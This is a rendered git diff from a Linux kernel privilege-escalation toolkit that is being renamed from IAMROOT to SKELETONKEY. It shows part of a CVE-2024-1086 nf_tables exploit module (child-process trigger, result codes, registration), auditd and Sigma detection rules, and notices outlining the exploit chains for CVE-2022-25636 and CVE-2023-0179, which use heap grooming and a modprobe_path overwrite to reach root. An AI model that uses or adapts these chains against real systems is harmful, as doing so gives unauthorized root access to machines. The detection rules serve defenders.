/* --- primitive-only path: fork-isolated trigger -------------- *
|
||||||
* Fork: child enters userns+netns and fires the bug. If the
|
* Fork: child enters userns+netns and fires the bug. If the
|
||||||
* kernel panics on KASAN we don't want our parent process to be
|
* kernel panics on KASAN we don't want our parent process to be
|
||||||
* the one that takes the hit. */
|
* the one that takes the hit. */
|
||||||
pid_t child = fork();
|
pid_t child = fork();
|
||||||
if (child < 0) { perror("[-] fork"); return IAMROOT_TEST_ERROR; }
|
if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
|
||||||
|
|
||||||
if (child == 0) {
|
if (child == 0) {
|
||||||
/* --- CHILD --- */
|
/* --- CHILD --- */
|
||||||
@@ -1040,7 +1034,7 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
|||||||
"fired (KASAN/oops can manifest as child signal)\n",
|
"fired (KASAN/oops can manifest as child signal)\n",
|
||||||
WTERMSIG(status));
|
WTERMSIG(status));
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
int rc = WEXITSTATUS(status);
|
int rc = WEXITSTATUS(status);
|
||||||
@@ -1054,22 +1048,44 @@ static iamroot_result_t nf_tables_exploit(const struct iamroot_ctx *ctx)
|
|||||||
" cross-cache groom + modprobe_path overwrite\n"
|
" cross-cache groom + modprobe_path overwrite\n"
|
||||||
" from github.com/Notselwyn/CVE-2024-1086.\n");
|
" from github.com/Notselwyn/CVE-2024-1086.\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (rc >= 20 && rc <= 25) {
|
if (rc >= 20 && rc <= 25) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[-] nf_tables: trigger setup failed (child rc=%d)\n", rc);
|
fprintf(stderr, "[-] nf_tables: trigger setup failed (child rc=%d)\n", rc);
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[-] nf_tables: unexpected child rc=%d\n", rc);
|
fprintf(stderr, "[-] nf_tables: unexpected child rc=%d\n", rc);
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#else /* !__linux__ */
|
||||||
|
|
||||||
|
/* Non-Linux dev builds: nfnetlink + nf_tables UAF + userns is
|
||||||
|
* Linux-only kernel surface. Stub out cleanly so the module still
|
||||||
|
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
|
||||||
|
* boxes — and so the top-level `make` actually completes there. */
|
||||||
|
static skeletonkey_result_t nf_tables_detect(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[i] nf_tables: Linux-only module "
|
||||||
|
"(nft_verdict_init UAF via nfnetlink) — not applicable here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
static skeletonkey_result_t nf_tables_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
(void)ctx;
|
||||||
|
fprintf(stderr, "[-] nf_tables: Linux-only module — cannot run here\n");
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* __linux__ */
|
||||||
|
|
||||||
/* ----- Embedded detection rules ----- */
|
/* ----- Embedded detection rules ----- */
|
||||||
|
|
||||||
static const char nf_tables_auditd[] =
|
static const char nf_tables_auditd[] =
|
||||||
@@ -1077,15 +1093,15 @@ static const char nf_tables_auditd[] =
|
|||||||
"# Flag unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by nft socket setup.\n"
|
"# Flag unshare(CLONE_NEWUSER|CLONE_NEWNET) followed by nft socket setup.\n"
|
||||||
"# This is the canonical exploit shape; legitimate userns + nft use\n"
|
"# This is the canonical exploit shape; legitimate userns + nft use\n"
|
||||||
"# (e.g. firewalld, docker rootless) will also trip — tune per env.\n"
|
"# (e.g. firewalld, docker rootless) will also trip — tune per env.\n"
|
||||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-nf-tables-userns\n"
|
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-nf-tables-userns\n"
|
||||||
"-a always,exit -F arch=b32 -S unshare -k iamroot-nf-tables-userns\n"
|
"-a always,exit -F arch=b32 -S unshare -k skeletonkey-nf-tables-userns\n"
|
||||||
"# Also watch for the canonical post-exploit primitives: modprobe_path\n"
|
"# Also watch for the canonical post-exploit primitives: modprobe_path\n"
|
||||||
"# overwrite OR setresuid(0,0,0) on a previously-non-root process.\n"
|
"# overwrite OR setresuid(0,0,0) on a previously-non-root process.\n"
|
||||||
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k iamroot-nf-tables-priv\n";
|
"-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nf-tables-priv\n";
|
||||||
|
|
||||||
static const char nf_tables_sigma[] =
|
static const char nf_tables_sigma[] =
|
||||||
"title: Possible CVE-2024-1086 nf_tables UAF exploitation\n"
|
"title: Possible CVE-2024-1086 nf_tables UAF exploitation\n"
|
||||||
"id: a72b5e91-iamroot-nf-tables\n"
|
"id: a72b5e91-skeletonkey-nf-tables\n"
|
||||||
"status: experimental\n"
|
"status: experimental\n"
|
||||||
"description: |\n"
|
"description: |\n"
|
||||||
" Detects the canonical exploit shape: unprivileged user creating a\n"
|
" Detects the canonical exploit shape: unprivileged user creating a\n"
|
||||||
@@ -1107,7 +1123,7 @@ static const char nf_tables_sigma[] =
|
|||||||
"level: high\n"
|
"level: high\n"
|
||||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2024.1086]\n";
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2024.1086]\n";
|
||||||
|
|
||||||
const struct iamroot_module nf_tables_module = {
|
const struct skeletonkey_module nf_tables_module = {
|
||||||
.name = "nf_tables",
|
.name = "nf_tables",
|
||||||
.cve = "CVE-2024-1086",
|
.cve = "CVE-2024-1086",
|
||||||
.summary = "nf_tables nft_verdict_init UAF (cross-cache) → arbitrary kernel R/W",
|
.summary = "nf_tables nft_verdict_init UAF (cross-cache) → arbitrary kernel R/W",
|
||||||
@@ -1123,7 +1139,7 @@ const struct iamroot_module nf_tables_module = {
|
|||||||
.detect_falco = NULL,
|
.detect_falco = NULL,
|
||||||
};
|
};
|
||||||
|
|
||||||
void iamroot_register_nf_tables(void)
|
void skeletonkey_register_nf_tables(void)
|
||||||
{
|
{
|
||||||
iamroot_register(&nf_tables_module);
|
skeletonkey_register(&nf_tables_module);
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* nf_tables_cve_2024_1086 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef NF_TABLES_SKELETONKEY_MODULES_H
|
||||||
|
#define NF_TABLES_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module nf_tables_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
# NOTICE — nft_fwd_dup (CVE-2022-25636)
|
||||||
|
|
||||||
|
## Vulnerability
|
||||||
|
|
||||||
|
**CVE-2022-25636** — `nft_fwd_dup_netdev_offload` writes
|
||||||
|
`flow->rule->action.entries[ctx->num_actions]` without bounds-checking
|
||||||
|
against the allocated array size → heap OOB write in kmalloc-512.
|
||||||
|
|
||||||
|
## Research credit
|
||||||
|
|
||||||
|
Discovered and disclosed by **Aaron Adams** (NCC Group),
|
||||||
|
February 2022.
|
||||||
|
|
||||||
|
Original writeup:
|
||||||
|
<https://research.nccgroup.com/2022/03/02/exploit-engineering-attacking-the-linux-kernel/>
|
||||||
|
|
||||||
|
Upstream fix: mainline 5.17 (commit `fa54fee62954`, Feb 2022).
|
||||||
|
Branch backports: 5.16.11 / 5.15.25 / 5.10.102 / 5.4.181.
|
||||||
|
|
||||||
|
## SKELETONKEY role
|
||||||
|
|
||||||
|
userns+netns reach. Hand-rolled nfnetlink batch: NEWTABLE →
|
||||||
|
NEWCHAIN with `NFT_CHAIN_HW_OFFLOAD` → NEWRULE with 16 immediates
|
||||||
|
+ fwd, overruning `action.entries[1]`. msg_msg cross-cache groom
|
||||||
|
into kmalloc-512 with `SKELETONKEY_FWD` tags.
|
||||||
|
|
||||||
|
`--full-chain` extends with stride-seeded forged action_entry
|
||||||
|
overwrite aimed at modprobe_path via the shared finisher.
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* nft_fwd_dup_cve_2022_25636 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef NFT_FWD_DUP_SKELETONKEY_MODULES_H
|
||||||
|
#define NFT_FWD_DUP_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module nft_fwd_dup_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -0,0 +1,36 @@
|
|||||||
|
# NOTICE — nft_payload (CVE-2023-0179)
|
||||||
|
|
||||||
|
## Vulnerability
|
||||||
|
|
||||||
|
**CVE-2023-0179** — `nft_payload` set/get uses `regs->verdict.code`
|
||||||
|
as an index into `regs->data[]` without bounds-checking; combined
|
||||||
|
with the variable-length element extension trick (NFTA_SET_DESC
|
||||||
|
describing elements larger than the key/data slots), an attacker
|
||||||
|
walks regs off either end → OOB R/W on adjacent kernel memory.
|
||||||
|
|
||||||
|
## Research credit
|
||||||
|
|
||||||
|
Discovered and disclosed by **Davide Ornaghi**, January 2023.
|
||||||
|
|
||||||
|
Original slides + writeup:
|
||||||
|
<https://github.com/davide-romanini/CVE-2023-0179>
|
||||||
|
+ DEF CON 31 / SecurityFest 2023 presentations.
|
||||||
|
|
||||||
|
Upstream fix: mainline 6.2-rc4 (commit `696e1a48b1a1`, Jan 2023).
|
||||||
|
Branch backports: 4.14.302 / 4.19.269 / 5.4.229 / 5.10.163 /
|
||||||
|
5.15.88 / 6.1.6.
|
||||||
|
|
||||||
|
## SKELETONKEY role
|
||||||
|
|
||||||
|
userns+netns. Hand-rolled nfnetlink batch: NEWTABLE → NEWCHAIN →
|
||||||
|
NEWSET with `NFTA_SET_DESC` describing variable-length elements →
|
||||||
|
NEWSETELEM with `NFTA_SET_ELEM_EXPRESSIONS` carrying a payload-set
|
||||||
|
whose attacker-controlled `verdict.code` drives the OOB index.
|
||||||
|
|
||||||
|
Dual cg-96 + 1k msg_msg spray (covers both common adjacency
|
||||||
|
scenarios). `--full-chain` extends with kaddr-tagged refire aimed
|
||||||
|
at modprobe_path via the shared finisher.
|
||||||
|
|
||||||
|
Default OOB index `0x100` matches Ornaghi's PoC on a stock 5.15
|
||||||
|
build; the sentinel post-check correctly reports failure on builds
|
||||||
|
where regs->data adjacency differs.
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user